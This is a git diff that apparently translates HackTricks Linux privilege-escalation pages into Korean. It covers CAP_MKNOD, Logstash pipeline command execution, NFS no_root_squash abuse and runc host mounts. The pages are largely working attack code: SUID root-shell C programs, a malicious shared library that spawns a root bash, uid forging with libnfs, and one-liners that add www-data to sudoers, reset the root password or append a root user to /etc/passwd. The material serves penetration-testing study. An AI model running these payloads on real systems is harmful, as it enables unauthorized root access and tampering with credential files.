1(주소를 uid 0을 제외하고 숨김) 또는 2(항상 주소 숨김)로 설정합니다. -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +또한, **CAP_SYSLOG**는 `dmesg_restrict`가 1로 설정된 경우 `dmesg` 출력을 접근할 수 있게 합니다. 이러한 변화에도 불구하고, **CAP_SYS_ADMIN**은 역사적 선례로 인해 `syslog` 작업을 수행할 수 있는 능력을 유지합니다. ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html)는 정규 파일, FIFO(이름이 있는 파이프) 또는 UNIX 도메인 소켓을 생성하는 것을 넘어 `mknod` 시스템 호출의 기능을 확장합니다. 이는 특별한 파일의 생성을 허용하며, 여기에는 다음이 포함됩니다: -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR**: 터미널과 같은 장치인 문자 특별 파일. +- **S_IFBLK**: 디스크와 같은 장치인 블록 특별 파일. -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +이 기능은 장치 파일을 생성할 수 있는 능력이 필요한 프로세스에 필수적이며, 문자 또는 블록 장치를 통해 직접 하드웨어와 상호작용할 수 있게 합니다. -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +이는 기본 도커 기능입니다 ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +이 기능은 다음 조건에서 호스트에서 권한 상승(전체 디스크 읽기)을 허용합니다: -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. 호스트에 대한 초기 접근 권한이 있음 (비특권). +2. 컨테이너에 대한 초기 접근 권한이 있음 (특권 (EUID 0), 및 유효한 `CAP_MKNOD`). +3. 호스트와 컨테이너는 동일한 사용자 네임스페이스를 공유해야 합니다. -**Steps to Create and Access a Block Device in a Container:** +**컨테이너에서 블록 장치를 생성하고 접근하는 단계:** -1. **On the Host as a Standard User:** +1. **호스트에서 표준 사용자로:** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- `id`로 현재 사용자 ID를 확인합니다, 예: `uid=1000(standarduser)`. +- 대상 장치를 식별합니다, 예: `/dev/sdb`. +2. **컨테이너 내부에서 `root`:** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1490,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **호스트로 돌아가기:** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1499,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +이 접근 방식은 표준 사용자가 `/dev/sdb`에서 데이터를 접근하고 잠재적으로 읽을 수 있도록 하며, 공유 사용자 네임스페이스와 장치에 설정된 권한을 악용합니다. ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP**는 프로세스가 다른 프로세스의 **능력 집합을 변경**할 수 있게 하여, 유효한, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있도록 합니다. 그러나 프로세스는 자신의 허용된 집합에서 보유한 능력만 수정할 수 있어, 다른 프로세스의 권한을 자신의 권한 이상으로 상승시킬 수 없습니다. 최근 커널 업데이트는 이러한 규칙을 강화하여 `CAP_SETPCAP`가 자신의 또는 자식 프로세스의 허용된 집합 내에서만 능력을 줄일 수 있도록 제한하였습니다. 이는 보안 위험을 완화하기 위한 목적입니다. 사용하려면 유효한 집합에 `CAP_SETPCAP`가 있어야 하며, 수정할 대상 능력이 허용된 집합에 있어야 하며, `capset()`을 사용하여 수정합니다. 이는 `CAP_SETPCAP`의 핵심 기능과 제한 사항을 요약하며, 권한 관리 및 보안 강화에서의 역할을 강조합니다. -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`**는 프로세스가 **다른 프로세스의 능력 집합을 수정**할 수 있게 해주는 리눅스 능력입니다. 이는 다른 프로세스의 유효한, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있는 능력을 부여합니다. 그러나 이 능력을 사용하는 데에는 특정 제한이 있습니다. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +`CAP_SETPCAP`를 가진 프로세스는 **자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니다**. 즉, 프로세스가 자신이 보유하지 않은 능력을 다른 프로세스에 부여할 수 없습니다. 이 제한은 프로세스가 다른 프로세스의 권한을 자신의 권한 수준 이상으로 상승시키는 것을 방지합니다. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +게다가, 최근 커널 버전에서는 `CAP_SETPCAP` 능력이 **더욱 제한되었습니다**. 이제 프로세스가 다른 프로세스의 능력 집합을 임의로 수정할 수 없으며, **오직 자신의 허용된 능력 집합이나 자식 프로세스의 허용된 능력 집합에서 능력을 줄이는 것만 허용됩니다**. 이 변경은 능력과 관련된 잠재적 보안 위험을 줄이기 위해 도입되었습니다. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +`CAP_SETPCAP`를 효과적으로 사용하려면, 유효한 능력 집합에 이 능력이 있어야 하며, 대상 능력이 허용된 능력 집합에 있어야 합니다. 그런 다음 `capset()` 시스템 호출을 사용하여 다른 프로세스의 능력 집합을 수정할 수 있습니다. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +요약하자면, `CAP_SETPCAP`는 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있게 하지만, 자신이 보유하지 않은 능력을 부여할 수는 없습니다. 또한 보안 문제로 인해 최근 커널 버전에서는 자신의 허용된 능력 집합이나 자식 프로세스의 허용된 능력 집합에서 능력을 줄이는 것만 허용하도록 기능이 제한되었습니다. ## References -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**이 예제의 대부분은** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **의 일부 실험실에서 가져온 것입니다. 따라서 이 privesc 기술을 연습하고 싶다면 이 실험실을 추천합니다.** -**Other references**: +**기타 참고자료**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1529,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..b79732e66 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstash는 **로그를 수집, 변환 및 전송**하는 데 사용됩니다. 이 시스템은 **파이프라인**으로 알려져 있습니다. 이러한 파이프라인은 **입력**, **필터**, 및 **출력** 단계로 구성됩니다. Logstash가 손상된 머신에서 작동할 때 흥미로운 측면이 발생합니다. ### Pipeline Configuration -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: - +파이프라인은 **/etc/logstash/pipelines.yml** 파일에서 구성되며, 여기에는 파이프라인 구성의 위치가 나열됩니다: ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +이 파일은 파이프라인 구성이 포함된 **.conf** 파일이 어디에 위치하는지를 보여줍니다. **Elasticsearch output module**을 사용할 때, **pipelines**에 **Elasticsearch credentials**가 포함되는 것이 일반적이며, 이는 Logstash가 Elasticsearch에 데이터를 쓰기 위해 필요한 권한이 광범위하기 때문입니다. 구성 경로의 와일드카드는 Logstash가 지정된 디렉토리에서 모든 일치하는 파이프라인을 실행할 수 있도록 합니다. -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### 쓰기 가능한 파이프라인을 통한 권한 상승 -### Privilege Escalation via Writable Pipelines +권한 상승을 시도하려면 먼저 Logstash 서비스가 실행 중인 사용자를 식별해야 하며, 일반적으로 **logstash** 사용자입니다. 다음 기준 중 **하나**를 충족해야 합니다: -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +- 파이프라인 **.conf** 파일에 **쓰기 권한**이 있거나 +- **/etc/logstash/pipelines.yml** 파일이 와일드카드를 사용하고, 대상 폴더에 쓸 수 있음 -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +또한, 다음 조건 중 **하나**를 충족해야 합니다: -Additionally, **one** of these conditions must be fulfilled: - -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Logstash 서비스를 재시작할 수 있는 능력 **또는** +- **/etc/logstash/logstash.yml** 파일에 **config.reload.automatic: true**가 설정되어 있음 +구성에 와일드카드가 주어지면, 이 와일드카드와 일치하는 파일을 생성하여 명령을 실행할 수 있습니다. 예를 들어: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +여기서, **interval**은 초 단위로 실행 빈도를 결정합니다. 주어진 예에서 **whoami** 명령은 120초마다 실행되며, 그 출력은 **/tmp/output.log**로 전달됩니다. -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +**/etc/logstash/logstash.yml**에 **config.reload.automatic: true**가 설정되어 있으면, Logstash는 자동으로 새로운 또는 수정된 파이프라인 구성을 감지하고 적용하며, 재시작이 필요하지 않습니다. 와일드카드가 없으면 기존 구성에 대한 수정이 여전히 가능하지만, 중단을 피하기 위해 주의가 필요합니다. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..d4b3df75b 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +**/etc/exports** 파일을 읽어보세요. **no_root_squash**로 설정된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근하고 마치 로컬 머신의 **root**인 것처럼 그 안에 쓸 수 있습니다. -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: 이 옵션은 기본적으로 클라이언트의 root 사용자에게 NFS 서버의 파일에 root로 접근할 수 있는 권한을 부여합니다. 이는 심각한 보안 문제를 초래할 수 있습니다. -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash:** 이 옵션은 **no_root_squash**와 유사하지만 **비루트 사용자**에게 적용됩니다. 예를 들어, nobody 사용자로 쉘을 가지고 있고, /etc/exports 파일을 확인했으며, no_all_squash 옵션이 존재하고, /etc/passwd 파일을 확인한 후 비루트 사용자를 에뮬레이트하고, 그 사용자로 suid 파일을 생성한 후(nfs를 사용하여 마운트) nobody 사용자로 suid를 실행하여 다른 사용자로 변환할 수 있습니다. # Privilege Escalation ## Remote Exploit -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +이 취약점을 발견했다면, 이를 악용할 수 있습니다: +- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **root로서** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, 피해자 머신에서 그 bash 바이너리를 실행합니다. ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **루트로 복사**하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 피해자 머신에서 그 바이너리를 **실행**합니다 (여기에서 일부 [C SUID 페이로드](payloads-to-execute.md#c)를 찾을 수 있습니다). ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - -## Local Exploit +## 로컬 익스플로잇 > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> 당신의 머신에서 피해자 머신으로 **터널을 생성할 수 있다면, 필요한 포트를 터널링하여 이 권한 상승을 이용하기 위해 원격 버전을 여전히 사용할 수 있습니다**.\ +> 다음 트릭은 파일 `/etc/exports`가 **IP를 나타내는 경우**에 해당합니다. 이 경우 **어떤 경우에도** **원격 익스플로잇을 사용할 수 없으며** 이 **트릭을 악용해야 합니다**.\ +> 익스플로잇이 작동하기 위한 또 다른 필수 조건은 **`/etc/export` 내의 익스포트가 `insecure` 플래그를 사용해야 한다는 것입니다**.\ +> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못합니다_-- -## Basic Information +## 기본 정보 -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있게 해주는 NFSv3 사양의 결함을 이용하여 무단 접근을 가능하게 합니다. 이 익스플로잇은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용합니다. -### Compiling the Library - -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: +### 라이브러리 컴파일 +라이브러리 컴파일 단계는 커널 버전에 따라 조정이 필요할 수 있습니다. 이 특정 경우에는 fallocate 시스템 호출이 주석 처리되었습니다. 컴파일 과정은 다음 명령어를 포함합니다: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### Exploit 수행 -### Conducting the Exploit +이 익스플로잇은 루트 권한을 상승시키고 셸을 실행하는 간단한 C 프로그램(`pwn.c`)을 만드는 것을 포함합니다. 프로그램이 컴파일되고, 결과 이진 파일(`a.out`)이 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다: -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **익스플로잇 코드를 컴파일합니다:** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **익스플로잇을 공유에 배치하고 uid를 위조하여 권한을 수정합니다:** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **루트 권한을 얻기 위해 익스플로잇을 실행합니다:** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## 보너스: NFShell을 통한 은밀한 파일 접근 +루트 접근이 얻어진 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid와 일치하도록 uid를 조정하여 권한 문제 없이 공유의 파일과 상호작용할 수 있게 합니다: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +실행 예: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..abb7660a6 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,22 +1,19 @@ -# Payloads to execute +# 실행할 페이로드 {{#include ../../banners/hacktricks-training.md}} -## Bash - +## 배시 ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## 권한 상승을 위한 파일 덮어쓰기 -## Overwriting a file to escalate privileges +### 일반 파일 -### Common files +- _/etc/passwd_에 비밀번호가 있는 사용자 추가 +- _/etc/shadow_에서 비밀번호 변경 +- _/etc/sudoers_에 사용자 추가 +- 일반적으로 _/run/docker.sock_ 또는 _/var/run/docker.sock_에 있는 도커 소켓을 통해 도커 남용 -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### 라이브러리 덮어쓰기 +어떤 바이너리에서 사용되는 라이브러리를 확인합니다. 이 경우는 `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +이 경우 `/lib/x86_64-linux-gnu/libaudit.so.1`를 가장해 보겠습니다.\ +따라서 **`su`** 바이너리에서 사용되는 이 라이브러리의 함수를 확인하십시오: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +기호 `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` 및 `audit_fd`는 아마도 libaudit.so.1 라이브러리에서 온 것입니다. libaudit.so.1이 악성 공유 라이브러리에 의해 덮어쓰여지기 때문에, 이러한 기호는 새로운 공유 라이브러리에 존재해야 하며, 그렇지 않으면 프로그램이 기호를 찾을 수 없고 종료됩니다. ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +이제 단순히 **`/bin/su`**를 호출하면 루트로서 셸을 얻을 수 있습니다. -Now, just calling **`/bin/su`** you will obtain a shell as root. +## 스크립트 -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +루트가 무언가를 실행하도록 할 수 있나요? +### **www-data를 sudoers에 추가** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root password** - +### **루트 비밀번호 변경** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### /etc/passwd에 새로운 루트 사용자 추가 ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..a87efd313 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,10 +1,10 @@ -# RunC Privilege Escalation +# RunC 권한 상승 {{#include ../../banners/hacktricks-training.md}} -## Basic information +## 기본 정보 -If you want to learn more about **runc** check the following page: +**runc**에 대해 더 알고 싶다면 다음 페이지를 확인하세요: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +호스트에 `runc`가 설치되어 있다면 **호스트의 루트 / 폴더를 마운트하는 컨테이너를 실행할 수 있을지도 모릅니다**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged 